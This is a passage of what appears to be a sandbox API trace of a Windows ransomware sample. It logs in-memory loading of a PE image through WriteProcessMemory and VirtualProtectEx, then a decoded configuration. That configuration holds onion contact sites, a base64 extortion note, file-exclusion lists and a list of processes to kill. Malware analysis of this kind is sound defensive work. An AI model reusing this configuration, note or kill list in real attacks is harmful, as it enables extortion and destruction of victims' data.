wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd4bc*=8, plFlavor=0x1c7fd4b8*=32 | out: pVal=0x1c7fd4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="64-bit", varVal2=0x0), pType=0x1c7fd4bc*=8, plFlavor=0x1c7fd4b8*=32) returned 0x0 [0080.743] SysStringLen (param_1="64-bit") returned 0x6 [0080.747] CoTaskMemAlloc (cb=0x8) returned 0x1b7bc310 [0080.747] IEnumWbemClassObject:Next (in: This=0x1ca54788, lTimeout=-1, uCount=0x1, apObjects=0x1b7bc310, puReturned=0x1c7fdc88 | out: apObjects=0x1b7bc310*=0x0, puReturned=0x1c7fdc88*=0x0) returned 0x1 [0080.768] CoTaskMemFree (pv=0x1b7bc310) [0080.769] CoGetContextToken (in: pToken=0x1c7fda10 | out: pToken=0x1c7fda10) returned 0x0 [0080.769] WbemLocator:IUnknown:Release (This=0x19ee40) returned 0x1 [0080.770] IUnknown:Release (This=0x1ca54788) returned 0x0 [0080.839] CoTaskMemAlloc (cb=0x104) returned 0x1693c0 [0080.839] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1693c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0080.839] CoTaskMemFree (pv=0x1693c0) [0080.840] CoTaskMemAlloc (cb=0x104) returned 0x1693c0 [0080.840] GetEnvironmentVariableW (in: lpName="PROCESSOR_ARCHITECTURE", lpBuffer=0x1693c0, nSize=0x80 | out: lpBuffer="AMD64") returned 0x5 [0080.840] CoTaskMemFree (pv=0x1693c0) [0080.847] CoTaskMemAlloc (cb=0x104) returned 0x1693c0 [0080.847] GetEnvironmentVariableW (in: lpName="PROCESSOR_ARCHITECTURE", lpBuffer=0x1693c0, nSize=0x80 | out: lpBuffer="AMD64") returned 0x5 [0080.847] CoTaskMemFree (pv=0x1693c0) [0082.859] GetCurrentProcess () returned 0xffffffffffffffff [0082.966] LocalAlloc (uFlags=0x0, uBytes=0x1d000) returned 0x1b7dcfd0 [0083.113] VirtualAlloc (lpAddress=0x0, dwSize=0x22000, flAllocationType=0x3000, flProtect=0x4) returned 0x2b40000 [0083.169] WriteProcessMemory (in: hProcess=0xffffffffffffffff, lpBaseAddress=0x2b40000, lpBuffer=0x1b7dcfd0*, nSize=0x400, lpNumberOfBytesWritten=0x1c7fe600 | out: lpBuffer=0x1b7dcfd0*, lpNumberOfBytesWritten=0x1c7fe600*=0x400) returned 1 [0083.230] WriteProcessMemory (in: hProcess=0xffffffffffffffff, lpBaseAddress=0x2b41000, lpBuffer=0x1b7dd3d0*, nSize=0x17200, lpNumberOfBytesWritten=0x1c7fe3d0 | out: lpBuffer=0x1b7dd3d0*, lpNumberOfBytesWritten=0x1c7fe3d0*=0x17200) returned 1 [0083.245] WriteProcessMemory (in: hProcess=0xffffffffffffffff, lpBaseAddress=0x2b59000, lpBuffer=0x1b7f45d0*, nSize=0x2400, lpNumberOfBytesWritten=0x1c7fe560 | out: lpBuffer=0x1b7f45d0*, lpNumberOfBytesWritten=0x1c7fe560*=0x2400) returned 1 [0083.260] WriteProcessMemory (in: hProcess=0xffffffffffffffff, lpBaseAddress=0x2b5c000, lpBuffer=0x1b7f69d0*, nSize=0x200, lpNumberOfBytesWritten=0x1c7fe560 | out: lpBuffer=0x1b7f69d0*, lpNumberOfBytesWritten=0x1c7fe560*=0x200) returned 1 [0083.277] WriteProcessMemory (in: hProcess=0xffffffffffffffff, lpBaseAddress=0x2b5d000, lpBuffer=0x1b7f6bd0*, nSize=0x1600, lpNumberOfBytesWritten=0x1c7fe560 | out: lpBuffer=0x1b7f6bd0*, lpNumberOfBytesWritten=0x1c7fe560*=0x1600) returned 1 [0083.284] WriteProcessMemory (in: hProcess=0xffffffffffffffff, lpBaseAddress=0x2b5f000, lpBuffer=0x1b7f81d0*, nSize=0x1c00, lpNumberOfBytesWritten=0x1c7fe560 | out: lpBuffer=0x1b7f81d0*, lpNumberOfBytesWritten=0x1c7fe560*=0x1c00) returned 1 [0083.291] WriteProcessMemory (in: hProcess=0xffffffffffffffff, lpBaseAddress=0x2b61000, lpBuffer=0x1b7f9dd0*, nSize=0x200, lpNumberOfBytesWritten=0x1c7fe560 | out: lpBuffer=0x1b7f9dd0*, lpNumberOfBytesWritten=0x1c7fe560*=0x200) returned 1 [0083.299] VirtualProtectEx (in: hProcess=0xffffffffffffffff, lpAddress=0x2b40000, dwSize=0x22000, flNewProtect=0x40, lpflOldProtect=0x1c7fe5fc | out: lpflOldProtect=0x1c7fe5fc*=0x4) returned 1 [0083.618] CoTaskMemAlloc (cb=0x104) returned 0x1695e0 [0083.618] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1695e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.618] CoTaskMemFree (pv=0x1695e0) [0083.622] CoTaskMemAlloc (cb=0x104) returned 0x1695e0 [0083.622] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1695e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.623] CoTaskMemFree (pv=0x1695e0) [0083.648] CoTaskMemAlloc (cb=0x104) returned 0x1695e0 [0083.648] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1695e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.648] CoTaskMemFree (pv=0x1695e0) [0083.659] CoTaskMemAlloc (cb=0x104) returned 0x1695e0 [0083.659] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1695e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.659] CoTaskMemFree (pv=0x1695e0) [0083.660] CoTaskMemAlloc (cb=0x104) returned 0x1695e0 [0083.660] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1695e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.660] CoTaskMemFree (pv=0x1695e0) [0083.665] CoTaskMemAlloc (cb=0x104) returned 0x1695e0 [0083.665] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1695e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.665] CoTaskMemFree (pv=0x1695e0) [0083.682] CoTaskMemAlloc (cb=0x104) returned 0x1695e0 [0083.682] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1695e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.682] CoTaskMemFree (pv=0x1695e0) [0083.697] CoTaskMemAlloc (cb=0x104) returned 0x1695e0 [0083.697] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1695e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.697] CoTaskMemFree (pv=0x1695e0) [0083.726] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0083.752] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x1c7fdca0 | out: lpConsoleScreenBufferInfo=0x1c7fdca0) returned 1 [0083.756] GetConsoleOutputCP () returned 0x1b5 [0083.758] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c7fdc30, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c7fdc30) returned 0 [0083.759] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.759] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1c7fdc80 | out: lpMode=0x1c7fdc80) returned 1 [0083.764] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0083.765] GetConsoleMode (in: hConsoleHandle=0x13, lpMode=0x1c7fdca0 | out: lpMode=0x1c7fdca0) returned 1 [0083.766] WriteConsoleW (in: hConsoleOutput=0x13, lpBuffer=0x562ff18*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0x1c7fdc70, lpReserved=0x0 | out: lpBuffer=0x562ff18*, lpNumberOfCharsWritten=0x1c7fdc70*=0x4) returned 1 [0083.773] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0083.773] GetConsoleMode (in: hConsoleHandle=0x13, lpMode=0x1c7fdca0 | out: lpMode=0x1c7fdca0) returned 1 [0083.773] WriteConsoleW (in: hConsoleOutput=0x13, lpBuffer=0x5630110*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1c7fdc70, lpReserved=0x0 | out: lpBuffer=0x5630110*, lpNumberOfCharsWritten=0x1c7fdc70*=0x2) returned 1 [0083.774] CloseHandle (hObject=0x13) returned 1 [0083.931] CoTaskMemAlloc (cb=0x104) returned 0x1695e0 [0083.931] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1695e0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.931] CoTaskMemFree (pv=0x1695e0) [0084.223] CoCreateGuid (in: pguid=0x1c7fc7e8 | out: pguid=0x1c7fc7e8*(Data1=0xb9fe5317, Data2=0xacae, Data3=0x4bd0, Data4=([0]=0x99, [1]=0xe1, [2]=0x8b, [3]=0x12, [4]=0xb1, [5]=0xf8, [6]=0xd3, [7]=0x83))) returned 0x0 [0084.432] CoCreateGuid (in: pguid=0x1c7fd028 | out: pguid=0x1c7fd028*(Data1=0x87b73b37, Data2=0xbe07, Data3=0x46d8, Data4=([0]=0x87, [1]=0x5, [2]=0xc6, [3]=0x76, [4]=0xcf, [5]=0xb0, [6]=0x5f, [7]=0x61))) returned 0x0 [0084.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x508) returned 0x1b8233a0 [0084.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6) returned 0x1b7d3400 [0084.894] RtlInitAnsiString (in: DestinationString=0x1c7fe120, SourceString="NTDLL" | out: DestinationString="NTDLL") [0084.894] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe110, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0084.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b824d60 [0084.894] RtlFreeAnsiString (AnsiString="N") [0084.894] RtlInitUnicodeString (in: DestinationString=0x1c7fe130, SourceString="NTDLL" | out: DestinationString="NTDLL") [0084.894] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x1c7fe198 | out: BaseAddress=0x1c7fe198*=0x77a60000) returned 0x0 [0084.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b824d60) returned 1 [0084.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0084.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6) returned 0x1b7d3400 [0084.900] RtlInitAnsiString (in: DestinationString=0x1c7fe120, SourceString="NTDLL" | out: DestinationString="NTDLL") [0084.900] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe110, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0084.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b824d80 [0084.900] RtlFreeAnsiString (AnsiString="N") [0084.900] RtlInitUnicodeString (in: DestinationString=0x1c7fe130, SourceString="NTDLL" | out: DestinationString="NTDLL") [0084.900] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x1c7fe198 | out: BaseAddress=0x1c7fe198*=0x77a60000) returned 0x0 [0084.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b824d80) returned 1 [0084.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0084.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6) returned 0x1b7d3400 [0084.901] RtlInitAnsiString (in: DestinationString=0x1c7fe120, SourceString="NTDLL" | out: DestinationString="NTDLL") [0084.901] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe110, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0084.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b824d60 [0084.901] RtlFreeAnsiString (AnsiString="N") [0084.901] RtlInitUnicodeString (in: DestinationString=0x1c7fe130, SourceString="NTDLL" | out: DestinationString="NTDLL") [0084.901] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x1c7fe198 | out: BaseAddress=0x1c7fe198*=0x77a60000) returned 0x0 [0084.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b824d60) returned 1 [0084.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0084.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6) returned 0x1b7d3400 [0084.902] RtlInitAnsiString (in: DestinationString=0x1c7fe120, SourceString="NTDLL" | out: DestinationString="NTDLL") [0084.902] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe110, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0084.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b824d80 [0084.902] RtlFreeAnsiString (AnsiString="N") [0084.902] RtlInitUnicodeString (in: DestinationString=0x1c7fe130, SourceString="NTDLL" | out: DestinationString="NTDLL") [0084.902] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x1c7fe198 | out: BaseAddress=0x1c7fe198*=0x77a60000) returned 0x0 [0084.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b824d80) returned 1 [0084.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0084.907] RtlInitUnicodeString (in: DestinationString=0x1c7fe1e0, SourceString="mpr.dll" | out: DestinationString="mpr.dll") [0084.907] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x1c7fe280 | out: BaseAddress=0x1c7fe280*=0x7fefae90000) returned 0x0 [0085.128] RtlInitUnicodeString (in: DestinationString=0x1c7fe200, SourceString="netapi32.dll" | out: DestinationString="netapi32.dll") [0085.128] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="netapi32.dll", BaseAddress=0x1c7fe1a0 | out: BaseAddress=0x1c7fe1a0*=0x7fefbc00000) returned 0x0 [0085.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7) returned 0x1b7d3400 [0085.133] RtlInitAnsiString (in: DestinationString=0x1c7fe120, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0085.133] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe110, SourceString="SRVCLI", AllocateDestinationString=1 | out: DestinationString="SRVCLI") returned 0x0 [0085.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b824d60 [0085.133] RtlFreeAnsiString (AnsiString="S") [0085.133] RtlInitUnicodeString (in: DestinationString=0x1c7fe130, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0085.133] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="SRVCLI", BaseAddress=0x1c7fe198 | out: BaseAddress=0x1c7fe198*=0x7fefd7a0000) returned 0x0 [0085.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b824d60) returned 1 [0085.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0085.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9) returned 0x1b824d60 [0085.134] RtlInitAnsiString (in: DestinationString=0x1c7fe120, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0085.134] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe110, SourceString="NETUTILS", AllocateDestinationString=1 | out: DestinationString="NETUTILS") returned 0x0 [0085.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b824da0 [0085.134] RtlFreeAnsiString (AnsiString="N") [0085.134] RtlInitUnicodeString (in: DestinationString=0x1c7fe130, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0085.134] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NETUTILS", BaseAddress=0x1c7fe198 | out: BaseAddress=0x1c7fe198*=0x7fefbbf0000) returned 0x0 [0085.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b824da0) returned 1 [0085.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b824d60) returned 1 [0085.134] FindResourceA (hModule=0x2b40000, lpName=0x7a69, lpType=0x539) returned 0x2b5f048 [0085.134] LoadResource (hModule=0x2b40000, hResInfo=0x2b5f048) returned 0x2b5f058 [0085.134] LockResource (hResData=0x2b5f058) returned 0x2b5f058 [0085.134] SizeofResource (hModule=0x2b40000, hResInfo=0x2b5f048) returned 0x1b90 [0085.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1b90) returned 0x1b826dd0 [0085.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7) returned 0x1b7d3400 [0085.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x168d60 [0085.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x1695e0 [0085.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1695e0) returned 1 [0085.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168d60) returned 1 [0085.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d99b0 [0085.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3410 [0085.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d99e0 [0085.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3420 [0085.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d9a10 [0085.139] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824da0 [0085.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba7e0 [0085.139] strtol (in: _Str="0,\"spsz\":15360,\"thr\":1500,\"idsz\":6,\"encname\":true,\"onion1\":\"pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion\",\"onion2\":\"rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion\",\"lfile\":\"{id}-Readme.txt\",\"lend\":\"SGkhIA0KWW91ciBmaWxlcyBhcmUgZW5jcnlwdGVkLiANCkFsbCBlbmNyeXB0ZWQgZmlsZXMgZm9yIHRoaXMgY29tcHV0ZXIgaGFzIGV4dGVuc2lvbjogLntpZH0gDQoNCllvdXIgZmlsZW5hbWVzIGNhbiBiZSBlbmNyeXB0ZWQgdG9vLCBleGNlcHQgZXh0ZW5zaW9ucyBmb3IgZnJlZSBkZWNyeXB0Lg0KDQotLSANCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLCANCnRoaXMgY2FuIGJlIHVuZGVyc3Rvb2QgYnkgdGhlIGZhY3QgdGhhdCB0aGUgY29tcHV0ZXIgc2xvd3MgZG93biwgDQphbmQgeW91ciBoZWFydCByYXRlIGhhcyBpbmNyZWFzZWQgZHVlIHRvIHRoZSBhYmlsaXR5IHRvIHR1cm4gaXQgb2ZmLCANCnRoZW4gd2UgcmVjb21tZW5kIHRoYXQgeW91IG1vdmUgYXdheSBmcm9tIHRoZSBjb21wdXRlciBhbmQgYWNjZXB0IHRoYXQgeW91IGhhdmUgYmVlbiBjb21wcm9taXNlZC4gDQpSZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeS4gDQoNCi0tIA0KT3VyICBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCANCnRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLiANCg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHRlciBwcm9ncmFtLCB5b3UgbWF5IGRhbWFnZSB0aGVtIGFuZCB0aGVuIHRoZXkgd2lsbCBiZSBpbXBvc3NpYmxlIHRvIHJlY292ZXIuIA0KDQotLQ0KDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IGZldyBmaWxlcyBmb3IgZnJlZS4gDQpKdXN0IG9wZW4gb3VyIHdlYnNpdGUsIHVwbG9hZCB0aGUgZW5jcnlwdGVkIGZpbGVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlZCBmaWxlcyBmb3IgZnJlZS4gDQoNCkFkZGl0aW9uYWxseSwgeW91IG11c3Qga25vdyB0aGF0IHlvdXIgc2Vuc2l0aXZlIGRhdGEgaGFzIGJlZW4gc3RvbGVuICBieSBvdXIgYW5hbHlzdCBleHBlcnRzIGFuZCBpZiB5b3UgY2hvb3NlIHRvIG5vIGNvb3BlcmF0ZSB3aXRoIHVzLCB5b3UgIGFyZSBleHBvc2luZyB5b3Vyc2VsZiANCnRvIGh1Z2UgcGVuYWx0aWVzIHdpdGggbGF3c3VpdHMgYW5kIGdvdmVybm1lbnQgaWYgd2UgYm90aCBkb24ndCBmaW5kICBhbiBhZ3JlZW1lbnQuIFdlIGhhdmUgc2VlbiBpdCBiZWZvcmU7IGNhc2VzIHdpdGggbXVsdGkgbWlsbGlvbiBjb3N0cyBpbiAgZmluZXMgYW5kIGxhd3N1aXRzLCANCm5vdCB0byBtZW50aW9uIHRoZSBjb21wYW55IHJlcHV0YXRpb24gYW5kIGxvc2luZyBjbGllbnRzIHRydXN0IGFuZCAgdGhlIG1lZGlhcyBjYWxsaW5nIG5vbi1zdG9wIGZvciBhbnN3ZXJzLiBDb21lIGNoYXQgd2l0aCB1cyBhbmQgeW91IGNvdWxkICBiZSBzdXJwcmlzZWQgb24gaG93IA0KZmFzdCB3ZSBib3RoIGNhbiBmaW5kIGFuIGFncmVlbWVudCB3aXRob3V0IGdldHRpbmcgdGhpcyBpbmNpZGVudCBwdWJsaWMuIA0KLS0NCioqKiANCklGIFlPVSBBUkUgQU4gRU1QTE9ZRVIgT0YgQSBDT01QQU5ZIFRIRU4gWU9VIFNIT1VMRCBLTk9XIFRIQVQgU1BSRUFESU5HIFNFTlNJVElWRSBJTkZPUk1BVElPTiBBQk9VVCBZT1VSIENPTVBBTlkgQkVJTkcgQ09NUFJPTUlTRUQgSVMgQSBWSU9MQVRJT04gT0YgQ09ORklERU5USUFMSVRZLiANCllPVVIgQ09NUEFOWSdTIFJFUFVUQVRJT04gV0lMTCBTVUZGRVIgQU5EIFNBTkNUSU9OUyBXSUxMIEJFIFRBS0VOIEFHQUlOU1QgWU9VLiANCg0KLS0NCg0KV0UgSElHSExZIFNVR0dFU1QgVEhBVCBZT1UgRE9OJ1QgQ09OVEFDVCBUSEUgQVVUSE9SSVRJRVMgUkVHQVJESU5HIFRISVMgSU5DSURFTlQgQkVDQVVTRSBJRiBZT1UgRE8sIFRIRU4gQVVUSE9SSVRJRVMgV0lMTCBNQUtFIFRISVMgUFVCTElDIFdISUNIIENPTUVTIFdJVEggQSBDT1NUIEZPUiBZT1VSDQpFTlRFUlBSSVNFLiBUSEUgUkVDT1ZFUlkgUFJPQ0VTUyBPRiBZT1VSIEZJTEVTIFdJTEwgQkUgRkFTVEVSIElGIFlPVSBDT01FIEFORCBDSEFUIFdJVEggVVMgRUFSTFkuIElGIFlPVSBDSE9PU0UgVE8gQ09PUEVSQVRFLCBZT1UgV0lMTCBTRUUgVEhBVCBXRSBBUkUgUFJPRkVTU0lPTkFMUyBXSE8gR0lWRVMNCkdPT0QgU1VQUE9SVC4NCg0KKioqDQotLSANCg0KU3RlcHMgdG8gZ2V0IGFjY2VzcyBvbiBvdXIgd2Vic2l0ZTogDQoNCjEuRG93bmxvYWQgYW5kIGluc3RhbGwgdG9yLWJyb3dzZXI6IGh0dHBzOi8vdG9ycHJvamVjdC5vcmcvIA0KDQoyLk9wZW4gb3VyIHdlYnNpdGU6IHtvbmlvbjF9IA0KSWYgdGhlIHdlYnNpdGUgaXMgbm90IGF2YWlsYWJsZSwgb3BlbiBhbm90aGVyIG9uZToge29uaW9uMn0gDQoNCjMuUHV0IHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgaW5wdXQgZm9ybTogDQoNCntjb2RlfQ==\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",\"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",\"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",\"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\",\"*appdata*microsoft\",\"*appdata*packages\",\"*microsoft\\\\provisioning\",\"*dvd maker\",\"*Internet Explorer\",\"*Mozilla\",\"*Mozilla*\",\"*Old Firefox data\",\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\"*\\\\program file*\\\\windowspowershell\",\"*\\\\program file*\\\\cuass*\",\"*\\\\program file*\\\\microsoft games\",\"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\",\"*media player\",\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"*\\\\Program File*\\\\Cisco\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\",\"usrclass.dat*\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"],\"extfree\":[\"jpg\",\"jpeg\",\"png\",\"bmp\",\"doc\",\"docx\"]},\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.